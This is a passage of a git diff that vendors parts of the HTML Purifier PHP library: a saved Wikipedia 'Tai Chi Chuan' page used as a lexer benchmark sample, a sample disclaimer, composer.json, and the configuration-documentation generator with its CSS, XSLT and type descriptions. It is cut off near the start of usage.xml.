+<li><a href="/wiki/Jing_%28TCM%29" title="Jing (TCM)">Jing</a></li>
+<li><a href="/wiki/List_of_Tai_Chi_Chuan_forms" title="List of Tai Chi Chuan forms">List of Tai Chi Chuan forms</a></li>
+<li><a href="/wiki/Nei_Jin" title="Nei Jin">nei chin</a></li>
+<li><a href="/wiki/Silk_reeling" title="Silk reeling">Silk reeling</a></li>
+<li><a href="/wiki/World_Tai_Chi_and_Qigong_Day" title="World Tai Chi and Qigong Day">World Tai Chi and Qigong Day</a></li>
+
+</ul>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=11" title="Edit section: External links">edit</a>]</div>
+<p><a name="External_links" id="External_links"></a></p>
+<h2>External links</h2>
+<ul>
+<li><a href="http://www.chenxiaowang.com/" class="external text" title="http://www.chenxiaowang.com/">A Chen Family Website</a></li>
+<li><a href="http://www.yangfamilytaichi.com/" class="external text" title="http://www.yangfamilytaichi.com/">Yang Family Website</a></li>
+<li><a href="http://www.wustyle.com/" class="external text" title="http://www.wustyle.com/">Wu Chien-ch'üan Family Website</a></li>
+<li><a href="http://www.fushengyuan-taichi.com.au/" class="external text" title="http://www.fushengyuan-taichi.com.au/">Fu Family Website</a></li>
+
+<li><a href="http://www.itcca.org/" class="external text" title="http://www.itcca.org/">Yang family disciple's website (ITCCA)</a></li>
+<li><a href="http://www.dongtaichi.com/" class="external text" title="http://www.dongtaichi.com/">Dong T'ai Chi</a></li>
+<li><a href="http://www.leefamilystyle.com/" class="external text" title="http://www.leefamilystyle.com/">UK website for Li style, popular in Europe</a></li>
+<li><a href="http://www.chen-taiji.com/mambo/" class="external text" title="http://www.chen-taiji.com/mambo/">The World of Taijiquan</a></li>
+<li><a href="http://www.scheele.org/lee/tcclinks.html" class="external text" title="http://www.scheele.org/lee/tcclinks.html">Lee Scheele's Links to T'ai Chi Ch'uan Web Sites</a></li>
+<li><a href="http://news.bbc.co.uk/1/hi/health/3543907.stm" class="external text" title="http://news.bbc.co.uk/1/hi/health/3543907.stm">BBC article</a></li>
+<li><a href="http://www.acupuncturetoday.com/archives2004/jul/07taichi.html" class="external text" title="http://www.acupuncturetoday.com/archives2004/jul/07taichi.html">Tai Chi: Good for the Mind, Good for the Body</a></li>
+<li><a href="http://www.taichiunion.com/" class="external text" title="http://www.taichiunion.com/">Tai Chi Chuan Union for Great Britian: The largest collective of independent Tai Chi Chuan Instructors in the British Isles</a></li>
+</ul>
+
+
+<!-- Saved in parser cache with key enwiki:pcache:idhash:30690-0!0!0!1!!en!2 and timestamp 20060722121412 -->
+<div class="printfooter">
+Retrieved from "<a href="http://en.wikipedia.org/wiki/Tai_Chi_Chuan">http://en.wikipedia.org/wiki/Tai_Chi_Chuan</a>"</div>
+ <div id="catlinks"><p class='catlinks'><a href="/w/index.php?title=Special:Categories&amp;article=Tai_Chi_Chuan" title="Special:Categories">Categories</a>: <span dir='ltr'><a href="/wiki/Category:Chinese_martial_arts" title="Category:Chinese martial arts">Chinese martial arts</a></span> | <span dir='ltr'><a href="/wiki/Category:T%27ai_Chi_Ch%27uan" title="Category:T'ai Chi Ch'uan">T'ai Chi Ch'uan</a></span> | <span dir='ltr'><a href="/wiki/Category:Taoism" title="Category:Taoism">Taoism</a></span> | <span dir='ltr'><a href="/wiki/Category:Meditation" title="Category:Meditation">Meditation</a></span> | <span dir='ltr'><a href="/wiki/Category:Mind-body_interventions" title="Category:Mind-body interventions">Mind-body interventions</a></span> | <span dir='ltr'><a href="/wiki/Category:Traditional_Chinese_medicine" title="Category:Traditional Chinese medicine">Traditional Chinese medicine</a></span></p></div> <!-- end content -->
+
+ <div class="visualClear"></div>
+ </div>
+ </div>
+ </div>
+ <div id="column-one">
+ <div id="p-cactions" class="portlet">
+ <h5>Views</h5>
+ <ul>
+
+ <li id="ca-nstab-main" class="selected"><a href="/wiki/Tai_Chi_Chuan">Article</a></li>
+ <li id="ca-talk"><a href="/wiki/Talk:Tai_Chi_Chuan">Discussion</a></li>
+ <li id="ca-edit"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit">Edit this page</a></li>
+ <li id="ca-history"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=history">History</a></li>
+ <li id="ca-protect"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=protect">Protect</a></li>
+ <li id="ca-delete"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=delete">Delete</a></li>
+
+ <li id="ca-move"><a href="/w/index.php?title=Special:Movepage&amp;target=Tai_Chi_Chuan">Move</a></li>
+ <li id="ca-unwatch"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=unwatch">Unwatch</a></li>
+ </ul>
+ </div>
+ <div class="portlet" id="p-personal">
+ <h5>Personal tools</h5>
+ <div class="pBody">
+
+ <ul>
+ <li id="pt-userpage"><a href="/wiki/User:Edward_Z._Yang">Edward Z. Yang</a></li>
+ <li id="pt-mytalk"><a href="/wiki/User_talk:Edward_Z._Yang">My talk</a></li>
+ <li id="pt-preferences"><a href="/wiki/Special:Preferences">My preferences</a></li>
+ <li id="pt-watchlist"><a href="/wiki/Special:Watchlist">My watchlist</a></li>
+ <li id="pt-mycontris"><a href="/wiki/Special:Contributions/Edward_Z._Yang">My contributions</a></li>
+
+ <li id="pt-logout"><a href="/w/index.php?title=Special:Userlogout&amp;returnto=Tai_Chi_Chuan">Log out</a></li>
+ </ul>
+ </div>
+ </div>
+ <div class="portlet" id="p-logo">
+ <a style="background-image: url(/images/wiki-en.png);" href="/wiki/Main_Page" title="Main Page"></a>
+ </div>
+ <script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
+
+ <div class='portlet' id='p-navigation'>
+ <h5>Navigation</h5>
+ <div class='pBody'>
+ <ul>
+ <li id="n-mainpage"><a href="/wiki/Main_Page">Main Page</a></li>
+ <li id="n-portal"><a href="/wiki/Wikipedia:Community_Portal">Community Portal</a></li>
+ <li id="n-Featured-articles"><a href="/wiki/Wikipedia:Featured_articles">Featured articles</a></li>
+
+ <li id="n-currentevents"><a href="/wiki/Portal:Current_events">Current events</a></li>
+ <li id="n-recentchanges"><a href="/wiki/Special:Recentchanges">Recent changes</a></li>
+ <li id="n-randompage"><a href="/wiki/Special:Random">Random article</a></li>
+ <li id="n-help"><a href="/wiki/Help:Contents">Help</a></li>
+ <li id="n-contact"><a href="/wiki/Wikipedia:Contact_us">Contact Wikipedia</a></li>
+ <li id="n-sitesupport"><a href="http://wikimediafoundation.org/wiki/Fundraising#Donation_methods">Donations</a></li>
+
+ </ul>
+ </div>
+ </div>
+ <div id="p-search" class="portlet">
+ <h5><label for="searchInput">Search</label></h5>
+ <div id="searchBody" class="pBody">
+ <form action="/wiki/Special:Search" id="searchform"><div>
+ <input id="searchInput" name="search" type="text" accesskey="f" value="" />
+
+ <input type='submit' name="go" class="searchButton" id="searchGoButton" value="Go" />&nbsp;
+ <input type='submit' name="fulltext" class="searchButton" value="Search" />
+ </div></form>
+ </div>
+ </div>
+ <div class="portlet" id="p-tb">
+ <h5>Toolbox</h5>
+ <div class="pBody">
+
+ <ul>
+ <li id="t-whatlinkshere"><a href="/w/index.php?title=Special:Whatlinkshere&amp;target=Tai_Chi_Chuan">What links here</a></li>
+ <li id="t-recentchangeslinked"><a href="/w/index.php?title=Special:Recentchangeslinked&amp;target=Tai_Chi_Chuan">Related changes</a></li>
+<li id="t-upload"><a href="/wiki/Special:Upload">Upload file</a></li>
+<li id="t-specialpages"><a href="/wiki/Special:Specialpages">Special pages</a></li>
+ <li id="t-print"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;printable=yes">Printable version</a></li> <li id="t-permalink"><a href="/w/index.php?title=Tai_Chi_Chuan&amp;oldid=65197836">Permanent link</a></li><li id="t-cite"><a href="/w/index.php?title=Special:Cite&amp;page=Tai_Chi_Chuan&amp;id=65197836">Cite this article</a></li> </ul>
+
+ </div>
+ </div>
+ <div id="p-lang" class="portlet">
+ <h5>In other languages</h5>
+ <div class="pBody">
+ <ul>
+ <li class="interwiki-br"><a href="http://br.wikipedia.org/wiki/Taichichuan">Brezhoneg</a></li>
+ <li class="interwiki-ca"><a href="http://ca.wikipedia.org/wiki/Tai_txi_txuan">Català</a></li>
+
+ <li class="interwiki-cs"><a href="http://cs.wikipedia.org/wiki/Tchaj-%C5%A5i">Cesky</a></li>
+ <li class="interwiki-da"><a href="http://da.wikipedia.org/wiki/Tai_Chi">Dansk</a></li>
+ <li class="interwiki-de"><a href="http://de.wikipedia.org/wiki/Taijiquan">Deutsch</a></li>
+ <li class="interwiki-et"><a href="http://et.wikipedia.org/wiki/Taijiquan">Eesti</a></li>
+ <li class="interwiki-el"><a href="http://el.wikipedia.org/wiki/%CE%A4%CE%AC%CE%B9_%CE%A4%CE%B6%CE%AF_%CE%A3%CE%BF%CF%85%CE%AC%CE%BD">????????</a></li>
+ <li class="interwiki-es"><a href="http://es.wikipedia.org/wiki/Tai_Chi_Chuan">Español</a></li>
+
+ <li class="interwiki-eo"><a href="http://eo.wikipedia.org/wiki/Taj%C4%9Di%C4%89uano">Esperanto</a></li>
+ <li class="interwiki-fr"><a href="http://fr.wikipedia.org/wiki/Tai-chi-chuan">Français</a></li>
+ <li class="interwiki-it"><a href="http://it.wikipedia.org/wiki/Taijiquan">Italiano</a></li>
+ <li class="interwiki-he"><a href="http://he.wikipedia.org/wiki/%D7%98%D7%90%D7%99_%D7%A6%27%D7%99">?????</a></li>
+ <li class="interwiki-hu"><a href="http://hu.wikipedia.org/wiki/Taijiquan">Magyar</a></li>
+ <li class="interwiki-nl"><a href="http://nl.wikipedia.org/wiki/Tai_Chi">Nederlands</a></li>
+
+ <li class="interwiki-ja"><a href="http://ja.wikipedia.org/wiki/%E5%A4%AA%E6%A5%B5%E6%8B%B3">???</a></li>
+ <li class="interwiki-pl"><a href="http://pl.wikipedia.org/wiki/Taijiquan">Polski</a></li>
+ <li class="interwiki-pt"><a href="http://pt.wikipedia.org/wiki/Tai_Chi_Chuan">Português</a></li>
+ <li class="interwiki-ro"><a href="http://ro.wikipedia.org/wiki/Taijiquan">Româna</a></li>
+ <li class="interwiki-ru"><a href="http://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B9%D1%86%D0%B7%D0%B8%D1%86%D1%8E%D0%B0%D0%BD%D1%8C">???????</a></li>
+ <li class="interwiki-fi"><a href="http://fi.wikipedia.org/wiki/Taijiquan">Suomi</a></li>
+
+ <li class="interwiki-sv"><a href="http://sv.wikipedia.org/wiki/Taijiquan">Svenska</a></li>
+ <li class="interwiki-th"><a href="http://th.wikipedia.org/wiki/%E0%B9%84%E0%B8%97%E0%B9%88%E0%B9%80%E0%B8%81%E0%B9%8A%E0%B8%81">???</a></li>
+ <li class="interwiki-tr"><a href="http://tr.wikipedia.org/wiki/Tai-Chi_Chuan">Türkçe</a></li>
+ <li class="interwiki-zh"><a href="http://zh.wikipedia.org/wiki/%E5%A4%AA%E6%9E%81%E6%8B%B3">??</a></li>
+ </ul>
+ </div>
+ </div>
+
+ </div><!-- end of the left (by default at least) column -->
+ <div class="visualClear"></div>
+ <div id="footer">
+ <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="/skins-1.5/common/images/poweredby_mediawiki_88x31.png" alt="MediaWiki" /></a></div>
+ <div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="/images/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>
+ <ul id="f-list">
+ <li id="lastmod"> This page was last modified 03:15, July 22, 2006.</li>
+ <li id="copyright">All text is available under the terms of the <a class='internal' href="/wiki/Wikipedia:Text_of_the_GNU_Free_Documentation_License" title="Wikipedia:Text of the GNU Free Documentation License">GNU Free Documentation License</a>. (See <b><a class='internal' href="/wiki/Wikipedia:Copyrights" title="Wikipedia:Copyrights">Copyrights</a></b> for details.) <br /> Wikipedia&reg; is a registered trademark of the Wikimedia Foundation, Inc.<br /></li>
+
+ <li id="privacy"><a href="http://wikimediafoundation.org/wiki/Privacy_policy" title="wikimedia:Privacy policy">Privacy policy</a></li>
+ <li id="about"><a href="/wiki/Wikipedia:About" title="Wikipedia:About">About Wikipedia</a></li>
+ <li id="disclaimer"><a href="/wiki/Wikipedia:General_disclaimer" title="Wikipedia:General disclaimer">Disclaimers</a></li>
+ </ul>
+ </div>
+ <script type="text/javascript"> if (window.runOnloadHook) runOnloadHook();</script>
+</div>
+
+<!-- Served by srv25 in 0.089 secs. -->
+</body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt
new file mode 100644
index 000000000..0c8ae5d93
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt
@@ -0,0 +1,7 @@
+Disclaimer:
+
+The HTML used in these samples are taken from random websites. I claim
+no copyright over these and assert that I may use them like this under
+fair use.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/composer.json b/vendor/ezyang/htmlpurifier/composer.json
new file mode 100644
index 000000000..2f59d0fed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/composer.json
@@ -0,0 +1,22 @@
+{
+ "name": "ezyang/htmlpurifier",
+ "description": "Standards compliant HTML filter written in PHP",
+ "type": "library",
+ "keywords": ["html"],
+ "homepage": "http://htmlpurifier.org/",
+ "license": "LGPL",
+ "authors": [
+ {
+ "name": "Edward Z. Yang",
+ "email": "admin@htmlpurifier.org",
+ "homepage": "http://ezyang.com"
+ }
+ ],
+ "require": {
+ "php": ">=5.2"
+ },
+ "autoload": {
+ "psr-0": { "HTMLPurifier": "library/" },
+ "files": ["library/HTMLPurifier.composer.php"]
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/configdoc/generate.php b/vendor/ezyang/htmlpurifier/configdoc/generate.php
new file mode 100644
index 000000000..e0c4e674a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/configdoc/generate.php
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Generates XML and HTML documents describing configuration.
+ * @note PHP 5.2+ only!
+ */
+
+/*
+TODO:
+- make XML format richer
+- extend XSLT transformation (see the corresponding XSLT file)
+- allow generation of packaged docs that can be easily moved
+- multipage documentation
+- determine how to multilingualize
+- add blurbs to ToC
+*/
+
+if (version_compare(PHP_VERSION, '5.2', '<')) exit('PHP 5.2+ required.');
+error_reporting(E_ALL | E_STRICT);
+
+// load dual-libraries
+require_once dirname(__FILE__) . '/../extras/HTMLPurifierExtras.auto.php';
+require_once dirname(__FILE__) . '/../library/HTMLPurifier.auto.php';
+
+// setup HTML Purifier singleton
+HTMLPurifier::getInstance(array(
+ 'AutoFormat.PurifierLinkify' => true
+));
+
+$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
+$interchange = new HTMLPurifier_ConfigSchema_Interchange();
+$builder->buildDir($interchange);
+$loader = dirname(__FILE__) . '/../config-schema.php';
+if (file_exists($loader)) include $loader;
+$interchange->validate();
+
+$style = 'plain'; // use $_GET in the future, careful to validate!
+$configdoc_xml = dirname(__FILE__) . '/configdoc.xml';
+
+$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml();
+$xml_builder->openURI($configdoc_xml);
+$xml_builder->build($interchange);
+unset($xml_builder); // free handle
+
+$xslt = new ConfigDoc_HTMLXSLTProcessor();
+$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl");
+$output = $xslt->transformToHTML($configdoc_xml);
+
+if (!$output) {
+ echo "Error in generating files\n";
+ exit(1);
+}
+
+// write out
+file_put_contents(dirname(__FILE__) . "/$style.html", $output);
+
+if (php_sapi_name() != 'cli') {
+ // output (instant feedback if it's a browser)
+ echo $output;
+} else {
+ echo "Files generated successfully.\n";
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css
new file mode 100644
index 000000000..7af80d061
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css
@@ -0,0 +1,44 @@
+
+body {margin:0;padding:0;}
+#content {
+ margin:1em auto;
+ max-width: 47em;
+ width: expression(document.body.clientWidth >
+ 85 * parseInt(document.body.currentStyle.fontSize) ?
+ "54em": "auto");
+}
+
+table {border-collapse:collapse;}
+table td, table th {padding:0.2em;}
+
+table.constraints {margin:0 0 1em;}
+table.constraints th {
+ text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE;
+ width:8em;vertical-align:top;}
+table.constraints td {padding-right:0.4em; padding-left: 1em;}
+table.constraints td ul {padding:0; margin:0; list-style:none;}
+table.constraints td pre {margin:0;}
+
+#tocContainer {position:relative;}
+#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;}
+#toc li {position:relative; line-height: 1.2em;}
+#toc .col-2 {margin-left:50%;}
+#toc .col-l {float:left;}
+#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;}
+
+.description p {margin-top:0;margin-bottom:1em;}
+
+#library, h1 {text-align:center; font-family:Garamond, serif;
+ font-variant:small-caps;}
+#library {font-size:1em;}
+h1 {margin-top:0;}
+h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal;
+ font-size:1.3em; clear:both;}
+h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; }
+h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; }
+
+.deprecated {color: #CCC;}
+.deprecated table.constraints th {background:#FFF;}
+.deprecated-notice {color: #000; text-align:center; margin-bottom: 1em;}
+
+/* vim: et sw=4 sts=4 */
diff --git a/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl
new file mode 100644
index 000000000..9b9794e0b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/configdoc/styles/plain.xsl
@@ -0,0 +1,253 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet
+ version = "1.0"
+ xmlns = "http://www.w3.org/1999/xhtml"
+ xmlns:xsl = "http://www.w3.org/1999/XSL/Transform"
+>
+ <xsl:output
+ method = "xml"
+ encoding = "UTF-8"
+ doctype-public = "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ doctype-system = "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
+ indent = "no"
+ media-type = "text/html"
+ />
+ <xsl:param name="css" select="'styles/plain.css'"/>
+ <xsl:param name="title" select="'Configuration Documentation'"/>
+
+ <xsl:variable name="typeLookup" select="document('../types.xml')/types" />
+ <xsl:variable name="usageLookup" select="document('../usage.xml')/usage" />
+
+ <!-- Twiddle this variable to get the columns as even as possible -->
+ <xsl:variable name="maxNumberAdjust" select="2" />
+
+ <xsl:template match="/">
+ <html lang="en" xml:lang="en">
+ <head>
+ <title><xsl:value-of select="$title" /> - <xsl:value-of select="/configdoc/title" /></title>
+ <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
+ <link rel="stylesheet" type="text/css" href="{$css}" />
+ </head>
+ <body>
+ <div id="content">
+ <div id="library"><xsl:value-of select="/configdoc/title" /></div>
+ <h1><xsl:value-of select="$title" /></h1>
+ <div id="tocContainer">
+ <h2>Table of Contents</h2>
+ <ul id="toc">
+ <xsl:apply-templates mode="toc">
+ <xsl:with-param name="overflowNumber" select="round(count(/configdoc/namespace) div 2) + $maxNumberAdjust" />
+ </xsl:apply-templates>
+ </ul>
+ </div>
+ <div id="typesContainer">
+ <h2>Types</h2>
+ <xsl:apply-templates select="$typeLookup" mode="types" />
+ </div>
+ <xsl:apply-templates />
+ </div>
+ </body>
+ </html>
+ </xsl:template>
+
+ <xsl:template match="type" mode="types">
+ <div class="type-block">
+ <xsl:attribute name="id">type-<xsl:value-of select="@id" /></xsl:attribute>
+ <h3><code><xsl:value-of select="@id" /></code>: <xsl:value-of select="@name" /></h3>
+ <div class="type-description">
+ <xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
+ </div>
+ </div>
+ </xsl:template>
+
+ <xsl:template match="title" mode="toc" />
+ <xsl:template match="namespace" mode="toc">
+ <xsl:param name="overflowNumber" />
+ <xsl:variable name="number"><xsl:number level="single" /></xsl:variable>
+ <xsl:variable name="directiveNumber"><xsl:number level="any" count="directive" /></xsl:variable>
+ <xsl:if test="count(directive)&gt;0">
+ <li>
+ <!-- BEGIN multicolumn code -->
+ <xsl:if test="$number &gt;= $overflowNumber">
+ <xsl:attribute name="class">col-2</xsl:attribute>
+ </xsl:if>
+ <xsl:if test="$number = $overflowNumber">
+ <xsl:attribute name="style">margin-top:-<xsl:value-of select="($number * 2 + $directiveNumber - 3) * 1.2" />em</xsl:attribute>
+ </xsl:if>
+ <!-- END multicolumn code -->
+ <a href="#{@id}"><xsl:value-of select="name" /></a>
+ <ul>
+ <xsl:apply-templates select="directive" mode="toc">
+ <xsl:with-param name="overflowNumber" select="$overflowNumber" />
+ </xsl:apply-templates>
+ </ul>
+ <xsl:if test="$number + 1 = $overflowNumber">
+ <div class="col-l" />
+ </xsl:if>
+ </li>
+ </xsl:if>
+ </xsl:template>
+ <xsl:template match="directive" mode="toc">
+ <xsl:variable name="number">
+ <xsl:number level="any" count="directive|namespace" />
+ </xsl:variable>
+ <xsl:if test="not(deprecated)">
+ <li>
+ <a href="#{@id}"><xsl:value-of select="name" /></a>
+ </li>
+ </xsl:if>
+ </xsl:template>
+
+ <xsl:template match="title" />
+
+ <xsl:template match="namespace">
+ <div class="namespace">
+ <xsl:apply-templates />
+ <xsl:if test="count(directive)=0">
+ <p>No configuration directives defined for this namespace.</p>
+ </xsl:if>
+ </div>
+ </xsl:template>
+ <xsl:template match="namespace/name">
+ <h2 id="{../@id}"><xsl:value-of select="." /></h2>
+ </xsl:template>
+ <xsl:template match="namespace/description">
+ <div class="description">
+ <xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
+ </div>
+ </xsl:template>
+
+ <xsl:template match="directive">
+ <div>
+ <xsl:attribute name="class"><!--
+ -->directive<!--
+ --><xsl:if test="deprecated"> deprecated</xsl:if><!--
+ --></xsl:attribute>
+ <xsl:apply-templates>
+ <xsl:with-param name="id" select="@id" />
+ </xsl:apply-templates>
+ </div>
+ </xsl:template>
+ <xsl:template match="directive/name">
+ <xsl:param name="id" />
+ <xsl:apply-templates select="../aliases/alias" mode="anchor" />
+ <h3 id="{$id}"><xsl:value-of select="$id" /></h3>
+ </xsl:template>
+ <xsl:template match="alias" mode="anchor">
+ <a id="{.}"></a>
+ </xsl:template>
+
+ <!-- Do not pass through -->
+ <xsl:template match="alias"></xsl:template>
+
+ <xsl:template match="directive/constraints">
+ <xsl:param name="id" />
+ <table class="constraints">
+ <xsl:apply-templates />
+ <xsl:if test="../aliases/alias">
+ <xsl:apply-templates select="../aliases" mode="constraints" />
+ </xsl:if>
+ <xsl:apply-templates select="$usageLookup/directive[@id=$id]" />
+ </table>
+ </xsl:template>
+ <xsl:template match="directive/aliases" mode="constraints">
+ <tr>
+ <th>Aliases</th>
+ <td>
+ <xsl:for-each select="alias">
+ <xsl:if test="position()&gt;1">, </xsl:if>
+ <xsl:value-of select="." />
+ </xsl:for-each>
+ </td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="directive/description">
+ <div class="description">
+ <xsl:copy-of xmlns:xhtml="http://www.w3.org/1999/xhtml" select="xhtml:div/node()" />
+ </div>
+ </xsl:template>
+ <xsl:template match="directive/deprecated">
+ <div class="deprecated-notice">
+ <strong>Warning:</strong>
+ This directive was deprecated in version <xsl:value-of select="version" />.
+ <a href="#{use}">%<xsl:value-of select="use" /></a> should be used instead.
+ </div>
+ </xsl:template>
+ <xsl:template match="usage/directive">
+ <tr>
+ <th>Used in</th>
+ <td>
+ <ul>
+ <xsl:apply-templates />
+ </ul>
+ </td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="usage/directive/file">
+ <li>
+ <em><xsl:value-of select="@name" /></em> on line<xsl:if test="count(line)&gt;1">s</xsl:if>
+ <xsl:text> </xsl:text>
+ <xsl:for-each select="line">
+ <xsl:if test="position()&gt;1">, </xsl:if>
+ <xsl:value-of select="." />
+ </xsl:for-each>
+ </li>
+ </xsl:template>
+
+ <xsl:template match="constraints/version">
+ <tr>
+ <th>Version added</th>
+ <td><xsl:value-of select="." /></td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="constraints/type">
+ <tr>
+ <th>Type</th>
+ <td>
+ <xsl:variable name="type" select="text()" />
+ <xsl:attribute name="class">type type-<xsl:value-of select="$type" /></xsl:attribute>
+ <a>
+ <xsl:attribute name="href">#type-<xsl:value-of select="$type" /></xsl:attribute>
+ <xsl:value-of select="$typeLookup/type[@id=$type]/@name" />
+ <xsl:if test="@allow-null='yes'">
+ (or null)
+ </xsl:if>
+ </a>
+ </td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="constraints/allowed">
+ <tr>
+ <th>Allowed values</th>
+ <td>
+ <xsl:for-each select="value"><!--
+ --><xsl:if test="position()&gt;1">, </xsl:if>
+ &quot;<xsl:value-of select="." />&quot;<!--
+ --></xsl:for-each>
+ </td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="constraints/default">
+ <tr>
+ <th>Default</th>
+ <td><pre><xsl:value-of select="." xml:space="preserve" /></pre></td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="constraints/external">
+ <tr>
+ <th>External deps</th>
+ <td>
+ <ul>
+ <xsl:apply-templates />
+ </ul>
+ </td>
+ </tr>
+ </xsl:template>
+ <xsl:template match="constraints/external/project">
+ <li><xsl:value-of select="." /></li>
+ </xsl:template>
+
+</xsl:stylesheet>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/configdoc/types.xml b/vendor/ezyang/htmlpurifier/configdoc/types.xml
new file mode 100644
index 000000000..ee2c945a1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/configdoc/types.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<types>
+ <type id="string" name="String"><div xmlns="http://www.w3.org/1999/xhtml">
+ A <a
+ href="http://docs.php.net/manual/en/language.types.string.php">sequence
+ of characters</a>.
+ </div></type>
+ <type id="istring" name="Case-insensitive string"><div xmlns="http://www.w3.org/1999/xhtml">
+ A series of case-insensitive characters. Internally, upper-case
+ ASCII characters will be converted to lower-case.
+ </div></type>
+ <type id="text" name="Text"><div xmlns="http://www.w3.org/1999/xhtml">
+ A series of characters that may contain newlines. Text tends to
+ indicate human-oriented text, as opposed to a machine format.
+ </div></type>
+ <type id="itext" name="Case-insensitive text"><div xmlns="http://www.w3.org/1999/xhtml">
+ A series of case-insensitive characters that may contain newlines.
+ </div></type>
+ <type id="int" name="Integer"><div xmlns="http://www.w3.org/1999/xhtml">
+ An <a
+ href="http://docs.php.net/manual/en/language.types.integer.php">
+ integer</a>. You are alternatively permitted to pass a string of
+ digits instead, which will be cast to an integer using
+ <code>(int)</code>.
+ </div></type>
+ <type id="float" name="Float"><div xmlns="http://www.w3.org/1999/xhtml">
+ A <a href="http://docs.php.net/manual/en/language.types.float.php">
+ floating point number</a>. You are alternatively permitted to
+ pass a numeric string (as defined by <code>is_numeric()</code>),
+ which will be cast to a float using <code>(float)</code>.
+ </div></type>
+ <type id="bool" name="Boolean"><div xmlns="http://www.w3.org/1999/xhtml">
+ A <a
+ href="http://docs.php.net/manual/en/language.types.boolean.php">boolean</a>.
+ You are alternatively permitted to pass an integer <code>0</code> or
+ <code>1</code> (other integers are not permitted) or a string
+ <code>"on"</code>, <code>"true"</code> or <code>"1"</code> for
+ <code>true</code>, and <code>"off"</code>, <code>"false"</code> or
+ <code>"0"</code> for <code>false</code>.
+ </div></type>
+ <type id="lookup" name="Lookup array"><div xmlns="http://www.w3.org/1999/xhtml">
+ An array whose values are <code>true</code>, e.g. <code>array('key'
+ => true, 'key2' => true)</code>. You are alternatively permitted
+ to pass an array list of the keys <code>array('key', 'key2')</code>
+ or a comma-separated string of keys <code>"key, key2"</code>. If
+ you pass an array list of values, ensure that your values are
+ strictly numerically indexed: <code>array('key1', 2 =>
+ 'key2')</code> will not do what you expect and emits a warning.
+ </div></type>
+ <type id="list" name="Array list"><div xmlns="http://www.w3.org/1999/xhtml">
+ An array which has consecutive integer indexes, e.g.
+ <code>array('val1', 'val2')</code>. You are alternatively permitted
+ to pass a comma-separated string of keys <code>"val1, val2"</code>.
+ If your array is not in this form, <code>array_values</code> is run
+ on the array and a warning is emitted.
+ </div></type>
+ <type id="hash" name="Associative array"><div xmlns="http://www.w3.org/1999/xhtml">
+ An array which is a mapping of keys to values, e.g.
+ <code>array('key1' => 'val1', 'key2' => 'val2')</code>. You are
+ alternatively permitted to pass a comma-separated string of
+ key-colon-value strings, e.g. <code>"key1: val1, key2: val2"</code>.
+ </div></type>
+ <type id="mixed" name="Mixed"><div xmlns="http://www.w3.org/1999/xhtml">
+ An arbitrary PHP value of any type.
+ </div></type>
+</types>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/configdoc/usage.xml b/vendor/ezyang/htmlpurifier/configdoc/usage.xml
new file mode 100644
index 000000000..f3f7a36a2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/configdoc/usage.xml
@@ -0,0 +1,547 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<usage>
+ <directive id="Core.CollectErrors">
+ <file name="HTMLPurifier.php">
+ <line>162</line>
+ </file>
+ <file name="HTMLPurifier/Lexer.php">
+ <line>85</line>
